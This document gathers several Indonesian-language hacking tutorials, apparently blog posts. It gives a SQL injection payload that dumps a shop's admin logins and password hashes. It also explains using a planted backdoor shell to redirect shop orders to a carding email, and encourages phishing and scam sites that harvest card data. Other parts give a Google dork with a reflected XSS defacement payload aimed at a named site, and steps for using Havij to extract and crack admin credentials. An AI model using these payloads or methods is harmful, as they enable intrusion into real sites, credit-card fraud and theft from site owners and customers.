jadi :http://www.targetnya.com/shop/products_rss.php?category_id=1
‘ UNION SELECT concat(login,char(58),password),0 FROM va_admins — /*
dah kalo ada yang errornya kaya gini :

[color="Red"]DB ERROR 1064[/color]

[code]We are very sorry, but an error has occurred while processing your request. Please try the operation again by either pressing the Refresh button on your browser, or by going back one page using the Back button. If the error persists, please contact our web development team.

The details of the error are shown below. Please quote this in any correspondance regarding this problem.
Page URL: [url]http://www.targetnya.com/shop/products_rss.php?category_id=1‘%20UNION[/url]
%20SELECT%20concat(login,char(58),password),0%20FROM%20va_admins%20–%20/*
Referrer URL:
Database error: Invalid SQL: SELECT i.item_id, i.item_type_id, i.item_code, i.item_name, i.friendly_url, i.short_description, i.small_image, i.small_image_alt, i.big_image, i.big_image_alt, i.price, i.is_sales, i.sales_price, i.is_points_price, i.points_price, i.buy_link, i.is_sales, i.full_description, i.manufacturer_code, i.issue_date, ic.category_id, c.category_name, c.short_description AS category_short_description, c.full_description AS category_full_description FROM ((va_items i INNER JOIN va_items_categories ic ON i.item_id=ic.item_id AND ic.category_id IN (1' UNION SELECT concat(login,char(58),password),0 FROM va_admins — /*,Admin:cca293929882ad831bf724a2589f1e20)) LEFT JOIN va_categories c ON c.category_id = ic.category_id ) WHERE i.is_showing = 1 GROUP BY i.item_id ORDER BY i.item_order, i.item_id
MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” UNION SELECT concat(login,char(58),password),0 FROM va_admins — /*,Admin:cca2' at line 1
[/code]
Nah klo udah jangan lupa decrypt passwordnya ya :)

5. Admin Shop Send Mail Order
# Ini bagian sangat simple, pertama tama anda harus tau dulu database administrator. Biasanya ada di config shop adminnya.

Contoh:
Cari target inject di google, sampe dapet, sampe bisa jalanin rshell / c99 / backdoor lainya.
Misal target:
[url]http://www.namasitusnya.com/admin/shop/rshellbackdoorloe.php[/url]
Nah, kan udah masuk tuh di shellnya dia. trus cari config filenya sampe ketemu: config.php, db.php, configuration.php, database.php, db.asp, dsb. Trus buka / cat file tersebut sampe ketemu isi confignya seperti:
var $dbtype = ‘mysql’;
var $host = ‘localhost’;
var $user = ’shop24_admin’;
var $db = ’shopsex_site’;
var $mailer = ‘mail’;
var $ordermailsendto = ‘ben@netboost.com.au‘;

Nah pada bagian ini “var $ordermailsendto = ‘ben@netboost.com.au‘;”, di confignya ganti ajah ama email loe, misal di ganti ke: “var $ordermailsendto = ‘carding@gwdapetcarding.com‘;”.
Nah tinggal tunggu dah tu di email loe hasil ordernya. Simple tapi maknyuz.. Hahaha..

6. Phising & Scaming
# Tram.. Inilah yang paling banyak dilakukan oleh orang orang jaman sekarang. Hahaha.. Phising & scaming. Gampang banget ni.. Loe bisa aje bikin situs fake, pura pura jualan. Tapi sebenernya loe ambil data data card dari sang target. Namun ada beberapa syarat yang harus di penuhin. Syaratnya: Loe harus punya domain sendiri yang meyakinkan. Artinya, di halaman depan udah terdaftar trade mark website loe yang bikin si korban percaya bahwa site ini beneran, bukan scam. Coba klo di web inject, kan agak runyam. kebanyakan 90% gagal klo di web hasil inject. Scam & phising udah banyak di jelasin. So u pasti tahu donk gmn caranya.
Pertama, loe harus download source lengkap untuk scam + phising loe. trus loe install deh di server loe. Hasilnya silakan tunggu di email, soalnya biasanya klo scam set kirimnya ke email sang owner.

Nah gitu ajah dech dari gw, selamat berselancar dah, Segala tindak tanduk jadi tanggung jawab loe sendiri
Jadikanlah ilmu sebagai pembelajaran yang berharga dalam hidup!

Deface Website Menggunakan Teknik XSS Vulnerability.

Wah pada mau baca ya? iya pastinya buat apa buka link blog saya kalau ga mau baca masa mau mangkal wkwkwkwkw. Oke stop tertawa saya Kang Mas Raden Dono Sardono alias cyberbaghost si Hensem unyu-unyu  akan sedikit memberikan ilmu. Sekarang saya akan sempatkan membahas tentang Cyber Gravity lagi nih... yaitu Cara Deface Website Menggunakan Teknik XSS Vulnerability.

Sebelumnya udah pada tau belum apa itu XSS Vulnerability? XSS Vulnerability adalah suatu cara memasukan code/script HTML kedalam suatu website dan dijalankan melalui browser di client. Ok deh, Langsung aja kita bahas bersama Cara Deface Website Menggunakan Teknik XSS Vulnerability ini !

1). Pertama, Masukan Dorknya :

inurl:"/showcatrows.php?CategoryID="

2). Kalo sudah, Pilih salah satu web yang akan kita deface.

Contoh : saya pakai web ini http://www.examsolutions.co.uk/...?CategoryID=13

3). Jika sudah masuk ke halaman web target, kita modifikasi sedikit URL web target dengan menambahkan tanda " dan > setelah angka, tepatnya pada akhir URL. Lalu tambahkan kode HTML deface kita.

Contoh : http://www.examsolutions.co.uk/...?CategoryID=13"><marquee><h1>Hacked by Dono</h1></marquee>

4). Kemudian tekan Enter.

5). Selesai, Website sudah berhasil kita deface :D

Triknya memang cukup simpel, dimana kita memanfaatkan celah keamanan pada XSS sebuah website dengan memasukan sebuah code/script HTML.

Sekian tutorial deface website kali ini dari saya, semoga artikel tentang Cara Deface Website Menggunakan Teknik XSS Vulnerability ini dapat bermanfaat bagi sobat.

 

Ingat ya ilmu itu berguna tergantung anda menggunakannya 

Hacking Website dengan Menggunakan WebCruiser+Havij Pro

kali ini akan saya posting tutorial hacking lagi sobat. .sekarang kita akan gunakan software yang bernama WebCruiser untuk scanning website dan akan kita gunakan Havij untuk mendapatkan Username+Password Admin Website target. .Tutorial ini cuma dari para NewBie seperti saya ini sobat, jadi harap maklum yah, . ;-)

Sebelum kita mulai teknik ini, download software yang diperlukan terlebih dahulu. Untuk scanning website Webcruiser disini atau di http://adf.ly/IxxO3 dan Havij Pro disini  ,atau di http://adf.ly/HuWfE .Kemudian terlebih dahulu kita buka software WebCruiser ,masukan website target pada bagian "URL" lalu klik "Scan Site" , maka akan muncul seperti berikut :

 

Lalu perhatikan gambar diatas pada bagian "URL / Refer URL" seperti berikut :

Pada gambar diatas adalah celah dari website tersebut yang dapat kita inject dengan menggunakan Havij, perhatikan pada bagian Vulnerability terdapat kata "URL SQL INJECTION"yang artinya website tersebut Vuln terhadap Havij, klik kanan pada bagian seperti diatas tadi kemudian klik "Copy URL To ClipBoard"

Nah kita sudah dapatkan celah dari website tersebut, sekarang tinggal kita inject dengan menggunakan havij, buka havij pro yang sudah kalian download tadi kemudian pastekan celah website target yang sudah kalian copy tadi ke Havij pada bagian "Target" seperti berikut :

Setelah kalian pastekan di bagian "Target" sekarang klik "Analyze" , maka Havij akan memproses apakah web tersebut dapat di Inject atau tidak seperti berikut :

Bila terdapat status seperti diatas yang hampir mirip2 seperti ini :

Valid String Column is 5
DB Server: MySQL
Current DB: db_bcoostende

Berarti web tersebut sudah berhasil diinject.

Sekarang saatnya kita cari username+password admin website tersebut , pada Havij klik menu "Table" kemudian klik "Get Table" , maka akan muncul beberapa table seperti berikut :

Kita cari dimana username+password admin berada, tandai pada table yang ada kata2 "user" , "login" ataupun yang sejenisnya. Kemudian klik "Get Columns" , seperti berikut :

Selanjutnya akan muncul "Columns2" dari table yang sudah kita pilih tadi, dan di Columns tersebut salah satunya yaitu columns "login" dan "password" :D, sekarang kita tandai kedua columns tadi kemudian klik "Get Data". .

 

Pada gambar diatas sudah terlihat Username+Password admin web tersebut, tapi password pada web tersebut masih di encrypsy dan untuk menjadikannya sebagai password aslinya dapat kalian copy password tersebut dan pastekan pada Menu MD5 di Havij. .

Setelah kita dapatkan username+password website tersebut, sekarang kita cari halaman login admin. Pada havij klik "Find Admin" kemudian klik "start" seperti berikut :

 Nah halaman login admin juga sudah kita temukan seperti diatas, dengan halaman admin http://target.com/admin . 

Username+Password serta halaman login sudah kalian temuakan, terakhir tinggal kalian login dan masuk sesuka kalian sebagai admin website tersebut. .Selamat mencoba ea sobat